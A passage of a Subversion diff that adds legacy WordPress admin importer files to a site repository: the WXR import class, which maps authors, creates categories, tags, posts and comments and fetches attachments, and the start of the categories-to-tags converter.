+				// this doesn't check that the file is perfectly valid but will at least confirm that it's not the wrong format altogether
+				if ( !$is_wxr_file && preg_match('|xmlns:wp="http://wordpress[.]org/export/\d+[.]\d+/"|', $importline) )
+					$is_wxr_file = true;
+
+				if ( false !== strpos($importline, '<wp:base_site_url>') ) {
+					preg_match('|<wp:base_site_url>(.*?)</wp:base_site_url>|is', $importline, $url);
+					$this->base_url = $url[1];
+					continue;
+				}
+				if ( false !== strpos($importline, '<wp:category>') ) {
+					preg_match('|<wp:category>(.*?)</wp:category>|is', $importline, $category);
+					$this->categories[] = $category[1];
+					continue;
+				}
+				if ( false !== strpos($importline, '<wp:tag>') ) {
+					preg_match('|<wp:tag>(.*?)</wp:tag>|is', $importline, $tag);
+					$this->tags[] = $tag[1];
+					continue;
+				}
+				if ( false !== strpos($importline, '<item>') ) {
+					$this->post = '';
+					$doing_entry = true;
+					continue;
+				}
+				if ( false !== strpos($importline, '</item>') ) {
+					$doing_entry = false;
+					if ($process_post_func)
+						call_user_func($process_post_func, $this->post);
+					continue;
+				}
+				if ( $doing_entry ) {
+					$this->post .= $importline . "\n";
+				}
+			}
+
+			$this->fclose($fp);
+		}
+
+		return $is_wxr_file;
+
+	}
+
+	function get_wp_authors() {
+		// We need to find unique values of author names, while preserving the order, so this function emulates the unique_value(); php function, without the sorting.
+		$temp = $this->allauthornames;
+		$authors[0] = array_shift($temp);
+		$y = count($temp) + 1;
+		for ($x = 1; $x < $y; $x ++) {
+			$next = array_shift($temp);
+			if (!(in_array($next, $authors)))
+				array_push($authors, "$next");
+		}
+
+		return $authors;
+	}
+
+	function get_authors_from_post() {
+		global $current_user;
+
+		// this will populate $this->author_ids with a list of author_names => user_ids
+
+		foreach ( $_POST['author_in'] as $i => $in_author_name ) {
+
+			if ( !empty($_POST['user_select'][$i]) ) {
+				// an existing user was selected in the dropdown list
+				$user = get_userdata( intval($_POST['user_select'][$i]) );
+				if ( isset($user->ID) )
+					$this->author_ids[$in_author_name] = $user->ID;
+			}
+			elseif ( $this->allow_create_users() ) {
+				// nothing was selected in the dropdown list, so we'll use the name in the text field
+
+				$new_author_name = trim($_POST['user_create'][$i]);
+				// if the user didn't enter a name, assume they want to use the same name as in the import file
+				if ( empty($new_author_name) )
+					$new_author_name = $in_author_name;
+
+				$user_id = username_exists($new_author_name);
+				if ( !$user_id ) {
+					$user_id = wp_create_user($new_author_name, wp_generate_password());
+				}
+
+				$this->author_ids[$in_author_name] = $user_id;
+			}
+
+			// failsafe: if the user_id was invalid, default to the current user
+			if ( empty($this->author_ids[$in_author_name]) ) {
+				$this->author_ids[$in_author_name] = intval($current_user->ID);
+			}
+		}
+
+	}
+
+	function wp_authors_form() {
+?>
+<?php screen_icon(); ?>
+<h2><?php _e('Assign Authors'); ?></h2>
+<p><?php _e('To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as <code>admin</code>s entries.'); ?></p>
+<?php
+	if ( $this->allow_create_users() ) {
+		echo '<p>'.__('If a new user is created by WordPress, a password will be randomly generated. Manually change the user&#8217;s details if necessary.')."</p>\n";
+	}
+
+
+		$authors = $this->get_wp_authors();
+		echo '<form action="?import=wordpress&amp;step=2&amp;id=' . $this->id . '" method="post">';
+		wp_nonce_field('import-wordpress');
+		echo '<ol id="authors">';
+		$j = -1;
+		foreach ($authors as $author) {
+			++ $j;
+			echo '<li>'.__('Import author:').' <strong>'.$author.'</strong><br />';
+			$this->users_form($j, $author);
+			echo '</li>';
+		}
+
+		if ( $this->allow_fetch_attachments() ) {
+?>
+</ol>
+<?php screen_icon(); ?>
+<h2><?php _e('Import Attachments'); ?></h2>
+<p>
+	<input type="checkbox" value="1" name="attachments" id="import-attachments" />
+	<label for="import-attachments"><?php _e('Download and import file attachments') ?></label>
+</p>
+
+<?php
+		}
+
+		echo '<p class="submit">';
+		echo '<input type="submit" class="button" value="'. esc_attr__('Submit') .'" />'.'<br />';
+		echo '</p>';
+		echo '</form>';
+
+	}
+
+	function users_form($n, $author) {
+
+		if ( $this->allow_create_users() ) {
+			printf('<label>'.__('Create user %1$s or map to existing'), ' <input type="text" value="'. esc_attr($author) .'" name="'.'user_create['.intval($n).']'.'" maxlength="30" /></label> <br />');
+		}
+		else {
+			echo __('Map to existing').'<br />';
+		}
+
+		// keep track of $n => $author name
+		echo '<input type="hidden" name="author_in['.intval($n).']" value="' . esc_attr($author).'" />';
+
+		$users = get_users_of_blog();
+?><select name="user_select[<?php echo $n; ?>]">
+	<option value="0"><?php _e('- Select -'); ?></option>
+	<?php
+		foreach ($users as $user) {
+			echo '<option value="'.$user->user_id.'">'.$user->user_login.'</option>';
+		}
+?>
+	</select>
+	<?php
+	}
+
+	function select_authors() {
+		$is_wxr_file = $this->get_entries(array(&$this, 'process_author'));
+		if ( $is_wxr_file ) {
+			$this->wp_authors_form();
+		}
+		else {
+			echo '<h2>'.__('Invalid file').'</h2>';
+			echo '<p>'.__('Please upload a valid WXR (WordPress eXtended RSS) export file.').'</p>';
+		}
+	}
+
+	// fetch the user ID for a given author name, respecting the mapping preferences
+	function checkauthor($author) {
+		global $current_user;
+
+		if ( !empty($this->author_ids[$author]) )
+			return $this->author_ids[$author];
+
+		// failsafe: map to the current user
+		return $current_user->ID;
+	}
+
+
+
+	function process_categories() {
+		global $wpdb;
+
+		$cat_names = (array) get_terms('category', 'fields=names');
+
+		while ( $c = array_shift($this->categories) ) {
+			$cat_name = trim($this->get_tag( $c, 'wp:cat_name' ));
+
+			// If the category exists we leave it alone
+			if ( in_array($cat_name, $cat_names) )
+				continue;
+
+			$category_nicename	= $this->get_tag( $c, 'wp:category_nicename' );
+			$category_description = $this->get_tag( $c, 'wp:category_description' );
+			$posts_private		= (int) $this->get_tag( $c, 'wp:posts_private' );
+			$links_private		= (int) $this->get_tag( $c, 'wp:links_private' );
+
+			$parent = $this->get_tag( $c, 'wp:category_parent' );
+
+			if ( empty($parent) )
+				$category_parent = '0';
+			else
+				$category_parent = category_exists($parent);
+
+			$catarr = compact('category_nicename', 'category_parent', 'posts_private', 'links_private', 'posts_private', 'cat_name', 'category_description');
+
+			$cat_ID = wp_insert_category($catarr);
+		}
+	}
+
+	function process_tags() {
+		global $wpdb;
+
+		$tag_names = (array) get_terms('post_tag', 'fields=names');
+
+		while ( $c = array_shift($this->tags) ) {
+			$tag_name = trim($this->get_tag( $c, 'wp:tag_name' ));
+
+			// If the category exists we leave it alone
+			if ( in_array($tag_name, $tag_names) )
+				continue;
+
+			$slug = $this->get_tag( $c, 'wp:tag_slug' );
+			$description = $this->get_tag( $c, 'wp:tag_description' );
+
+			$tagarr = compact('slug', 'description');
+
+			$tag_ID = wp_insert_term($tag_name, 'post_tag', $tagarr);
+		}
+	}
+
+	function process_author($post) {
+		$author = $this->get_tag( $post, 'dc:creator' );
+		if ($author)
+			$this->allauthornames[] = $author;
+	}
+
+	function process_posts() {
+		echo '<ol>';
+
+		$this->get_entries(array(&$this, 'process_post'));
+
+		echo '</ol>';
+
+		wp_import_cleanup($this->id);
+		do_action('import_done', 'wordpress');
+
+		echo '<h3>'.sprintf(__('All done.').' <a href="%s">'.__('Have fun!').'</a>', get_option('home')).'</h3>';
+	}
+
+	function process_post($post) {
+		global $wpdb;
+
+		$post_ID = (int) $this->get_tag( $post, 'wp:post_id' );
+  		if ( $post_ID && !empty($this->post_ids_processed[$post_ID]) ) // Processed already
+			return 0;
+
+		set_time_limit( 60 );
+
+		// There are only ever one of these
+		$post_title     = $this->get_tag( $post, 'title' );
+		$post_date      = $this->get_tag( $post, 'wp:post_date' );
+		$post_date_gmt  = $this->get_tag( $post, 'wp:post_date_gmt' );
+		$comment_status = $this->get_tag( $post, 'wp:comment_status' );
+		$ping_status    = $this->get_tag( $post, 'wp:ping_status' );
+		$post_status    = $this->get_tag( $post, 'wp:status' );
+		$post_name      = $this->get_tag( $post, 'wp:post_name' );
+		$post_parent    = $this->get_tag( $post, 'wp:post_parent' );
+		$menu_order     = $this->get_tag( $post, 'wp:menu_order' );
+		$post_type      = $this->get_tag( $post, 'wp:post_type' );
+		$post_password  = $this->get_tag( $post, 'wp:post_password' );
+		$guid           = $this->get_tag( $post, 'guid' );
+		$post_author    = $this->get_tag( $post, 'dc:creator' );
+
+		$post_excerpt = $this->get_tag( $post, 'excerpt:encoded' );
+		$post_excerpt = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $post_excerpt);
+		$post_excerpt = str_replace('<br>', '<br />', $post_excerpt);
+		$post_excerpt = str_replace('<hr>', '<hr />', $post_excerpt);
+
+		$post_content = $this->get_tag( $post, 'content:encoded' );
+		$post_content = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $post_content);
+		$post_content = str_replace('<br>', '<br />', $post_content);
+		$post_content = str_replace('<hr>', '<hr />', $post_content);
+
+		preg_match_all('|<category domain="tag">(.*?)</category>|is', $post, $tags);
+		$tags = $tags[1];
+
+		$tag_index = 0;
+		foreach ($tags as $tag) {
+			$tags[$tag_index] = $wpdb->escape($this->unhtmlentities(str_replace(array ('<![CDATA[', ']]>'), '', $tag)));
+			$tag_index++;
+		}
+
+		preg_match_all('|<category>(.*?)</category>|is', $post, $categories);
+		$categories = $categories[1];
+
+		$cat_index = 0;
+		foreach ($categories as $category) {
+			$categories[$cat_index] = $wpdb->escape($this->unhtmlentities(str_replace(array ('<![CDATA[', ']]>'), '', $category)));
+			$cat_index++;
+		}
+
+		$post_exists = post_exists($post_title, '', $post_date);
+
+		if ( $post_exists ) {
+			echo '<li>';
+			printf(__('Post <em>%s</em> already exists.'), stripslashes($post_title));
+			$comment_post_ID = $post_id = $post_exists;
+		} else {
+
+			// If it has parent, process parent first.
+			$post_parent = (int) $post_parent;
+			if ($post_parent) {
+				// if we already know the parent, map it to the local ID
+				if ( $parent = $this->post_ids_processed[$post_parent] ) {
+					$post_parent = $parent;  // new ID of the parent
+				}
+				else {
+					// record the parent for later
+					$this->orphans[intval($post_ID)] = $post_parent;
+				}
+			}
+
+			echo '<li>';
+
+			$post_author = $this->checkauthor($post_author); //just so that if a post already exists, new users are not created by checkauthor
+
+			$postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_excerpt', 'post_title', 'post_status', 'post_name', 'comment_status', 'ping_status', 'guid', 'post_parent', 'menu_order', 'post_type', 'post_password');
+			$postdata['import_id'] = $post_ID;
+			if ($post_type == 'attachment') {
+				$remote_url = $this->get_tag( $post, 'wp:attachment_url' );
+				if ( !$remote_url )
+					$remote_url = $guid;
+
+				$comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);
+				if ( !$post_id or is_wp_error($post_id) )
+					return $post_id;
+			}
+			else {
+				printf(__('Importing post <em>%s</em>...'), stripslashes($post_title));
+				$comment_post_ID = $post_id = wp_insert_post($postdata);
+			}
+
+			if ( is_wp_error( $post_id ) )
+				return $post_id;
+
+			// Memorize old and new ID.
+			if ( $post_id && $post_ID ) {
+				$this->post_ids_processed[intval($post_ID)] = intval($post_id);
+			}
+
+			// Add categories.
+			if (count($categories) > 0) {
+				$post_cats = array();
+				foreach ($categories as $category) {
+					if ( '' == $category )
+						continue;
+					$slug = sanitize_term_field('slug', $category, 0, 'category', 'db');
+					$cat = get_term_by('slug', $slug, 'category');
+					$cat_ID = 0;
+					if ( ! empty($cat) )
+						$cat_ID = $cat->term_id;
+					if ($cat_ID == 0) {
+						$category = $wpdb->escape($category);
+						$cat_ID = wp_insert_category(array('cat_name' => $category));
+						if ( is_wp_error($cat_ID) )
+							continue;
+					}
+					$post_cats[] = $cat_ID;
+				}
+				wp_set_post_categories($post_id, $post_cats);
+			}
+
+			// Add tags.
+			if (count($tags) > 0) {
+				$post_tags = array();
+				foreach ($tags as $tag) {
+					if ( '' == $tag )
+						continue;
+					$slug = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
+					$tag_obj = get_term_by('slug', $slug, 'post_tag');
+					$tag_id = 0;
+					if ( ! empty($tag_obj) )
+						$tag_id = $tag_obj->term_id;
+					if ( $tag_id == 0 ) {
+						$tag = $wpdb->escape($tag);
+						$tag_id = wp_insert_term($tag, 'post_tag');
+						if ( is_wp_error($tag_id) )
+							continue;
+						$tag_id = $tag_id['term_id'];
+					}
+					$post_tags[] = intval($tag_id);
+				}
+				wp_set_post_tags($post_id, $post_tags);
+			}
+		}
+
+		// Now for comments
+		preg_match_all('|<wp:comment>(.*?)</wp:comment>|is', $post, $comments);
+		$comments = $comments[1];
+		$num_comments = 0;
+		if ( $comments) { foreach ($comments as $comment) {
+			$comment_author       = $this->get_tag( $comment, 'wp:comment_author');
+			$comment_author_email = $this->get_tag( $comment, 'wp:comment_author_email');
+			$comment_author_IP    = $this->get_tag( $comment, 'wp:comment_author_IP');
+			$comment_author_url   = $this->get_tag( $comment, 'wp:comment_author_url');
+			$comment_date         = $this->get_tag( $comment, 'wp:comment_date');
+			$comment_date_gmt     = $this->get_tag( $comment, 'wp:comment_date_gmt');
+			$comment_content      = $this->get_tag( $comment, 'wp:comment_content');
+			$comment_approved     = $this->get_tag( $comment, 'wp:comment_approved');
+			$comment_type         = $this->get_tag( $comment, 'wp:comment_type');
+			$comment_parent       = $this->get_tag( $comment, 'wp:comment_parent');
+
+			// if this is a new post we can skip the comment_exists() check
+			if ( !$post_exists || !comment_exists($comment_author, $comment_date) ) {
+				$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_approved', 'comment_type', 'comment_parent');
+				wp_insert_comment($commentdata);
+				$num_comments++;
+			}
+		} }
+
+		if ( $num_comments )
+			printf(' '._n('(%s comment)', '(%s comments)', $num_comments), $num_comments);
+
+		// Now for post meta
+		preg_match_all('|<wp:postmeta>(.*?)</wp:postmeta>|is', $post, $postmeta);
+		$postmeta = $postmeta[1];
+		if ( $postmeta) { foreach ($postmeta as $p) {
+			$key   = $this->get_tag( $p, 'wp:meta_key' );
+			$value = $this->get_tag( $p, 'wp:meta_value' );
+			$value = stripslashes($value); // add_post_meta() will escape.
+
+			$this->process_post_meta($post_id, $key, $value);
+
+		} }
+
+		do_action('import_post_added', $post_id);
+		print "</li>\n";
+	}
+
+	function process_post_meta($post_id, $key, $value) {
+		// the filter can return false to skip a particular metadata key
+		$_key = apply_filters('import_post_meta_key', $key);
+		if ( $_key ) {
+			add_post_meta( $post_id, $_key, $value );
+			do_action('import_post_meta', $post_id, $_key, $value);
+		}
+	}
+
+	function process_attachment($postdata, $remote_url) {
+		if ($this->fetch_attachments and $remote_url) {
+			printf( __('Importing attachment <em>%s</em>... '), htmlspecialchars($remote_url) );
+
+			// If the URL is absolute, but does not contain http, upload it assuming the base_site_url variable
+			if ( preg_match('/^\/[\w\W]+$/', $remote_url) )
+				$remote_url = rtrim($this->base_url,'/').$remote_url;
+
+			$upload = $this->fetch_remote_file($postdata, $remote_url);
+			if ( is_wp_error($upload) ) {
+				printf( __('Remote file error: %s'), htmlspecialchars($upload->get_error_message()) );
+				return $upload;
+			}
+			else {
+				print '('.size_format(filesize($upload['file'])).')';
+			}
+
+			if ( $info = wp_check_filetype($upload['file']) ) {
+				$postdata['post_mime_type'] = $info['type'];
+			}
+			else {
+				print __('Invalid file type');
+				return;
+			}
+
+			$postdata['guid'] = $upload['url'];
+
+			// as per wp-admin/includes/upload.php
+			$post_id = wp_insert_attachment($postdata, $upload['file']);
+			wp_update_attachment_metadata( $post_id, wp_generate_attachment_metadata( $post_id, $upload['file'] ) );
+
+			// remap the thumbnail url.  this isn't perfect because we're just guessing the original url.
+			if ( preg_match('@^image/@', $info['type']) && $thumb_url = wp_get_attachment_thumb_url($post_id) ) {
+				$parts = pathinfo($remote_url);
+				$ext = $parts['extension'];
+				$name = basename($parts['basename'], ".{$ext}");
+				$this->url_remap[$parts['dirname'] . '/' . $name . '.thumbnail.' . $ext] = $thumb_url;
+			}
+
+			return $post_id;
+		}
+		else {
+			printf( __('Skipping attachment <em>%s</em>'), htmlspecialchars($remote_url) );
+		}
+	}
+
+	function fetch_remote_file($post, $url) {
+		$upload = wp_upload_dir($post['post_date']);
+
+		// extract the file name and extension from the url
+		$file_name = basename($url);
+
+		// get placeholder file in the upload dir with a unique sanitized filename
+		$upload = wp_upload_bits( $file_name, 0, '', $post['post_date']);
+		if ( $upload['error'] ) {
+			echo $upload['error'];
+			return new WP_Error( 'upload_dir_error', $upload['error'] );
+		}
+
+		// fetch the remote url and write it to the placeholder file
+		$headers = wp_get_http($url, $upload['file']);
+
+		//Request failed
+		if ( ! $headers ) {
+			@unlink($upload['file']);
+			return new WP_Error( 'import_file_error', __('Remote server did not respond') );
+		}
+
+		// make sure the fetch was successful
+		if ( $headers['response'] != '200' ) {
+			@unlink($upload['file']);
+			return new WP_Error( 'import_file_error', sprintf(__('Remote file returned error response %1$d %2$s'), $headers['response'], get_status_header_desc($headers['response']) ) );
+		}
+		elseif ( isset($headers['content-length']) && filesize($upload['file']) != $headers['content-length'] ) {
+			@unlink($upload['file']);
+			return new WP_Error( 'import_file_error', __('Remote file is incorrect size') );
+		}
+
+		$max_size = $this->max_attachment_size();
+		if ( !empty($max_size) and filesize($upload['file']) > $max_size ) {
+			@unlink($upload['file']);
+			return new WP_Error( 'import_file_error', sprintf(__('Remote file is too large, limit is %s', size_format($max_size))) );
+		}
+
+		// keep track of the old and new urls so we can substitute them later
+		$this->url_remap[$url] = $upload['url'];
+		// if the remote url is redirected somewhere else, keep track of the destination too
+		if ( $headers['x-final-location'] != $url )
+			$this->url_remap[$headers['x-final-location']] = $upload['url'];
+
+		return $upload;
+
+	}
+
+	// sort by strlen, longest string first
+	function cmpr_strlen($a, $b) {
+		return strlen($b) - strlen($a);
+	}
+
+	// update url references in post bodies to point to the new local files
+	function backfill_attachment_urls() {
+
+		// make sure we do the longest urls first, in case one is a substring of another
+		uksort($this->url_remap, array(&$this, 'cmpr_strlen'));
+
+		global $wpdb;
+		foreach ($this->url_remap as $from_url => $to_url) {
+			// remap urls in post_content
+			$wpdb->query( $wpdb->prepare("UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, '%s', '%s')", $from_url, $to_url) );
+			// remap enclosure urls
+			$result = $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->postmeta} SET meta_value = REPLACE(meta_value, '%s', '%s') WHERE meta_key='enclosure'", $from_url, $to_url) );
+		}
+	}
+
+	// update the post_parent of orphans now that we know the local id's of all parents
+	function backfill_parents() {
+		global $wpdb;
+
+		foreach ($this->orphans as $child_id => $parent_id) {
+			$local_child_id = $this->post_ids_processed[$child_id];
+			$local_parent_id = $this->post_ids_processed[$parent_id];
+			if ($local_child_id and $local_parent_id) {
+				$wpdb->query( $wpdb->prepare("UPDATE {$wpdb->posts} SET post_parent = %d WHERE ID = %d", $local_parent_id, $local_child_id));
+			}
+		}
+	}
+
+	function is_valid_meta_key($key) {
+		// skip _wp_attached_file metadata since we'll regenerate it from scratch
+		if ( $key == '_wp_attached_file' )
+			return false;
+		return $key;
+	}
+
+	// give the user the option of creating new users to represent authors in the import file?
+	function allow_create_users() {
+		return apply_filters('import_allow_create_users', true);
+	}
+
+	// give the user the option of downloading and importing attached files
+	function allow_fetch_attachments() {
+		return apply_filters('import_allow_fetch_attachments', true);
+	}
+
+	function max_attachment_size() {
+		// can be overridden with a filter - 0 means no limit
+		return apply_filters('import_attachment_size_limit', 0);
+	}
+
+	function import_start() {
+		wp_defer_term_counting(true);
+		wp_defer_comment_counting(true);
+		do_action('import_start');
+	}
+
+	function import_end() {
+		do_action('import_end');
+
+		// clear the caches after backfilling
+		foreach ($this->post_ids_processed as $post_id)
+			clean_post_cache($post_id);
+
+		wp_defer_term_counting(false);
+		wp_defer_comment_counting(false);
+	}
+
+	function import($id, $fetch_attachments = false) {
+		$this->id = (int) $id;
+		$this->fetch_attachments = ($this->allow_fetch_attachments() && (bool) $fetch_attachments);
+
+		add_filter('import_post_meta_key', array($this, 'is_valid_meta_key'));
+		$file = get_attached_file($this->id);
+		$this->import_file($file);
+	}
+
+	function import_file($file) {
+		$this->file = $file;
+
+		$this->import_start();
+		$this->get_authors_from_post();
+		wp_suspend_cache_invalidation(true);
+		$this->get_entries();
+		$this->process_categories();
+		$this->process_tags();
+		$result = $this->process_posts();
+		wp_suspend_cache_invalidation(false);
+		$this->backfill_parents();
+		$this->backfill_attachment_urls();
+		$this->import_end();
+
+		if ( is_wp_error( $result ) )
+			return $result;
+	}
+
+	function handle_upload() {
+		$file = wp_import_handle_upload();
+		if ( isset($file['error']) ) {
+			echo '<p>'.__('Sorry, there has been an error.').'</p>';
+			echo '<p><strong>' . $file['error'] . '</strong></p>';
+			return false;
+		}
+		$this->file = $file['file'];
+		$this->id = (int) $file['id'];
+		return true;
+	}
+
+	function dispatch() {
+		if (empty ($_GET['step']))
+			$step = 0;
+		else
+			$step = (int) $_GET['step'];
+
+		$this->header();
+		switch ($step) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				check_admin_referer('import-upload');
+				if ( $this->handle_upload() )
+					$this->select_authors();
+				break;
+			case 2:
+				check_admin_referer('import-wordpress');
+				$result = $this->import( $_GET['id'], $_POST['attachments'] );
+				if ( is_wp_error( $result ) )
+					echo $result->get_error_message();
+				break;
+		}
+		$this->footer();
+	}
+
+	function WP_Import() {
+		// Nothing.
+	}
+}
+
+/**
+ * Register WordPress Importer
+ *
+ * @since unknown
+ * @var WP_Import
+ * @name $wp_import
+ */
+$wp_import = new WP_Import();
+
+register_importer('wordpress', 'WordPress', __('Import <strong>posts, pages, comments, custom fields, categories, and tags</strong> from a WordPress export file.'), array ($wp_import, 'dispatch'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/wp-cat2tag.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/wp-cat2tag.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/wp-cat2tag.php	(revision 44)
@@ -0,0 +1,472 @@
+<?php
+/**
+ * WordPress Categories to Tags Converter.
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * WordPress categories to tags converter class.
+ *
+ * Will convert WordPress categories to tags, removing the category after the
+ * process is complete and updating all posts to switch to the tag.
+ *
+ * @since unknown
+ */
+class WP_Categories_to_Tags {
+	var $categories_to_convert = array();
+	var $all_categories = array();
+	var $tags_to_convert = array();
+	var $all_tags = array();
+	var $hybrids_ids = array();
+
+	function header() {
+		echo '<div class="wrap">';
+		if ( ! current_user_can('manage_categories') ) {
+			echo '<div class="narrow">';
+			echo '<p>' . __('Cheatin&#8217; uh?') . '</p>';
+			echo '</div>';
+		} else { ?>
+			<div class="tablenav"><p style="margin:4px"><a style="display:inline;" class="button-secondary" href="admin.php?import=wp-cat2tag"><?php _e( "Categories to Tags" ); ?></a>
+			<a style="display:inline;" class="button-secondary" href="admin.php?import=wp-cat2tag&amp;step=3"><?php _e( "Tags to Categories" ); ?></a></p></div>
+<?php	}
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function populate_cats() {
+
+		$categories = get_categories('get=all');
+		foreach ( $categories as $category ) {
+			$this->all_categories[] = $category;
+			if ( is_term( $category->slug, 'post_tag' ) )
+				$this->hybrids_ids[] = $category->term_id;
+		}
+	}
+
+	function populate_tags() {
+
+		$tags = get_terms( array('post_tag'), 'get=all' );
+		foreach ( $tags as $tag ) {
+			$this->all_tags[] = $tag;
+			if ( is_term( $tag->slug, 'category' ) )
+				$this->hybrids_ids[] = $tag->term_id;
+		}
+	}
+
+	function categories_tab() {
+		$this->populate_cats();
+		$cat_num = count($this->all_categories);
+
+		echo '<br class="clear" />';
+
+		if ( $cat_num > 0 ) {
+			screen_icon();
+			echo '<h2>' . sprintf( _n( 'Convert Category to Tag.', 'Convert Categories (%d) to Tags.', $cat_num ), $cat_num ) . '</h2>';
+			echo '<div class="narrow">';
+			echo '<p>' . __('Hey there. Here you can selectively convert existing categories to tags. To get started, check the categories you wish to be converted, then click the Convert button.') . '</p>';
+			echo '<p>' . __('Keep in mind that if you convert a category with child categories, the children become top-level orphans.') . '</p></div>';
+
+			$this->categories_form();
+		} else {
+			echo '<p>'.__('You have no categories to convert!').'</p>';
+		}
+	}
+
+	function categories_form() { ?>
+
+<script type="text/javascript">
+/* <![CDATA[ */
+var checkflag = "false";
+function check_all_rows() {
+	field = document.catlist;
+	if ( 'false' == checkflag ) {
+		for ( i = 0; i < field.length; i++ ) {
+			if ( 'cats_to_convert[]' == field[i].name )
+				field[i].checked = true;
+		}
+		checkflag = 'true';
+		return '<?php _e('Uncheck All') ?>';
+	} else {
+		for ( i = 0; i < field.length; i++ ) {
+			if ( 'cats_to_convert[]' == field[i].name )
+				field[i].checked = false;
+		}
+		checkflag = 'false';
+		return '<?php _e('Check All') ?>';
+	}
+}
+/* ]]> */
+</script>
+
+<form name="catlist" id="catlist" action="admin.php?import=wp-cat2tag&amp;step=2" method="post">
+<p><input type="button" class="button-secondary" value="<?php esc_attr_e('Check All'); ?>" onclick="this.value=check_all_rows()" />
+<?php wp_nonce_field('import-cat2tag'); ?></p>
+<ul style="list-style:none">
+
+<?php	$hier = _get_term_hierarchy('category');
+
+		foreach ($this->all_categories as $category) {
+			$category = sanitize_term( $category, 'category', 'display' );
+
+			if ( (int) $category->parent == 0 ) { ?>
+
+	<li><label><input type="checkbox" name="cats_to_convert[]" value="<?php echo intval($category->term_id); ?>" /> <?php echo $category->name . ' (' . $category->count . ')'; ?></label><?php
+
+				 if ( in_array( intval($category->term_id),  $this->hybrids_ids ) )
+				 	echo ' <a href="#note"> * </a>';
+
+				if ( isset($hier[$category->term_id]) )
+					$this->_category_children($category, $hier); ?></li>
+<?php		}
+		} ?>
+</ul>
+
+<?php	if ( ! empty($this->hybrids_ids) )
+			echo '<p><a name="note"></a>' . __('* This category is also a tag. Converting it will add that tag to all posts that are currently in the category.') . '</p>'; ?>
+
+<p class="submit"><input type="submit" name="submit" class="button" value="<?php esc_attr_e('Convert Categories to Tags'); ?>" /></p>
+</form>
+
+<?php }
+
+	function tags_tab() {
+		$this->populate_tags();
+		$tags_num = count($this->all_tags);
+
+		echo '<br class="clear" />';
+
+		if ( $tags_num > 0 ) {
+			screen_icon();
+			echo '<h2>' . sprintf( _n( 'Convert Tag to Category.', 'Convert Tags (%d) to Categories.', $tags_num ), $tags_num ) . '</h2>';
+			echo '<div class="narrow">';
+			echo '<p>' . __('Here you can selectively convert existing tags to categories. To get started, check the tags you wish to be converted, then click the Convert button.') . '</p>';
+			echo '<p>' . __('The newly created categories will still be associated with the same posts.') . '</p></div>';
+
+			$this->tags_form();
+		} else {
+			echo '<p>'.__('You have no tags to convert!').'</p>';
+		}
+	}
+
+	function tags_form() { ?>
+
+<script type="text/javascript">
+/* <![CDATA[ */
+var checktags = "false";
+function check_all_tagrows() {
+	field = document.taglist;
+	if ( 'false' == checktags ) {
+		for ( i = 0; i < field.length; i++ ) {
+			if ( 'tags_to_convert[]' == field[i].name )
+				field[i].checked = true;
+		}
+		checktags = 'true';
+		return '<?php _e('Uncheck All') ?>';
+	} else {
+		for ( i = 0; i < field.length; i++ ) {
+			if ( 'tags_to_convert[]' == field[i].name )
+				field[i].checked = false;
+		}
+		checktags = 'false';
+		return '<?php _e('Check All') ?>';
+	}
+}
+/* ]]> */
+</script>
+
+<form name="taglist" id="taglist" action="admin.php?import=wp-cat2tag&amp;step=4" method="post">
+<p><input type="button" class="button-secondary" value="<?php esc_attr_e('Check All'); ?>" onclick="this.value=check_all_tagrows()" />
+<?php wp_nonce_field('import-cat2tag'); ?></p>
+<ul style="list-style:none">
+
+<?php	foreach ( $this->all_tags as $tag ) { ?>
+	<li><label><input type="checkbox" name="tags_to_convert[]" value="<?php echo intval($tag->term_id); ?>" /> <?php echo esc_attr($tag->name) . ' (' . $tag->count . ')'; ?></label><?php if ( in_array( intval($tag->term_id),  $this->hybrids_ids ) ) echo ' <a href="#note"> * </a>'; ?></li>
+
+<?php	} ?>
+</ul>
+
+<?php	if ( ! empty($this->hybrids_ids) )
+			echo '<p><a name="note"></a>' . __('* This tag is also a category. When converted, all posts associated with the tag will also be in the category.') . '</p>'; ?>
+
+<p class="submit"><input type="submit" name="submit_tags" class="button" value="<?php esc_attr_e('Convert Tags to Categories'); ?>" /></p>
+</form>
+
+<?php }
+
+	function _category_children($parent, $hier) { ?>
+
+		<ul style="list-style:none">
+<?php	foreach ($hier[$parent->term_id] as $child_id) {
+			$child =& get_category($child_id); ?>
+		<li><label><input type="checkbox" name="cats_to_convert[]" value="<?php echo intval($child->term_id); ?>" /> <?php echo $child->name . ' (' . $child->count . ')'; ?></label><?php
+
+			if ( in_array( intval($child->term_id), $this->hybrids_ids ) )
+				echo ' <a href="#note"> * </a>';
+
+			if ( isset($hier[$child->term_id]) )
+				$this->_category_children($child, $hier); ?></li>
+<?php	} ?>
+		</ul><?php
+	}
+
+	function _category_exists($cat_id) {
+		$cat_id = (int) $cat_id;
+
+		$maybe_exists = category_exists($cat_id);
+
+		if ( $maybe_exists ) {
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	function convert_categories() {
+		global $wpdb;
+
+		if ( (!isset($_POST['cats_to_convert']) || !is_array($_POST['cats_to_convert'])) && empty($this->categories_to_convert)) { ?>
+			<div class="narrow">
+			<p><?php printf(__('Uh, oh. Something didn&#8217;t work. Please <a href="%s">try again</a>.'), 'admin.php?import=wp-cat2tag'); ?></p>
+			</div>
+<?php		return;
+		}
+
+		if ( empty($this->categories_to_convert) )
+			$this->categories_to_convert = $_POST['cats_to_convert'];
+
+		$hier = _get_term_hierarchy('category');
